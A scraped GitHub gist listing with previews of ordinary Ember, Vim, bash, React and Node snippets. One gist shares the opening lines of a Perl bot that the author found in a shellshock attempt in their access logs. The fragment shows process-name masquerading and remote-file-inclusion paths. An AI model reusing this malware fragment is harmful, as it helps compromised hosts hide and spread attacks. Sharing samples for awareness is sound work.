Skip to content

Instantly share code, notes, and snippets.

View valer-cara's full-sized avatar
📡
stay tuned

Valer Cara valer-cara

📡
stay tuned
View GitHub Profile
# Make all controllers have a reference to the alerts controller.
# Kudos 1 - `needs` is a `concatenatedProperty`, so that specifying it further
# in the iheritance chain it gets added up
Ember.ControllerMixin.reopen(
needs: ['alerts']
alert: (message, type) ->
@get('controllers.alerts').pushObject(
type: type || 'success'
message: message
@valer-cara
valer-cara / gist:9946383
Last active August 29, 2015 13:58
emberjs mistery setter
App.TimeInputComponent = Ember.Component.extend(
MAX_TIME: 99 * 60 + 59
didInsertElement: () ->
if @get('value')
@set('inputValue', @formatValue(@get('value')))
classNames: ['time-input-component']
classNameBindings: ['focused:focused']
fu! ZoomWindow()
let [l:i, l:max, l:min] = [1, 0, 999999]
while winwidth(l:i) > 0
if winwidth(l:i) > l:max
let l:max = winwidth(l:i)
endif
if winwidth(l:i) < l:min
let l:min = winwidth(l:i)
endif
let l:i = l:i + 1
#!/bin/bash
tmpfile="/tmp/__our_temp"
scripts_root="$(git root)/app/scripts"
esc_root=${scripts_root//\//\\/}
files=`find $scripts_root -type f -print`
for file in $files; do
line1=$(sed -ne '1p' $file)
if (echo $line1 | grep -q ^App); then
echo File $file matches. Adding default jsdoc comments.
@valer-cara
valer-cara / gist:6c992560ed2de4d631ff
Last active August 29, 2015 14:11
Found a shellshock attempt to download and exec this in my access logs
#!/usr/bin/perl
my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
my @adms=("Alex","G");
#!/bin/bash
while read line; do
segments=(${line// - / })
id=${segments[0]}
asset_type=${segments[1]}
attch_id=${segments[2]}
url=${segments[3]}
screens: [ScreenInfo, ScreenBookingDates, ScreenBookingAddons],
renderScreens: function(screens) {
var _this = this;
return screens.map(function(Screen) {
return <Screen {..._this.props} />
});
},
componentDidUpdate: function(prevProps, prevState) {
var _this = this, shouldTransition, shouldStartAnimation;
shouldStartAnimation = this.state.transitionStarted && !this.state.isTransitioning;
if (shouldStartAnimation) {
this.setState({ isTransitioning: true });
}
@valer-cara
valer-cara / har2curl.js
Last active August 29, 2015 14:24
har2curl
#!/usr/bin/env node
var fs = require('fs');
var har = JSON.parse(fs.readFileSync(process.argv[2])),
cmds;
cmds = har.log.entries.map(function(entry) {
var cmd = [];
Ough,
I have reasons to believe that there is a significant probability such that I
would have secured for myself a female currently occupying the role of a cheerleader.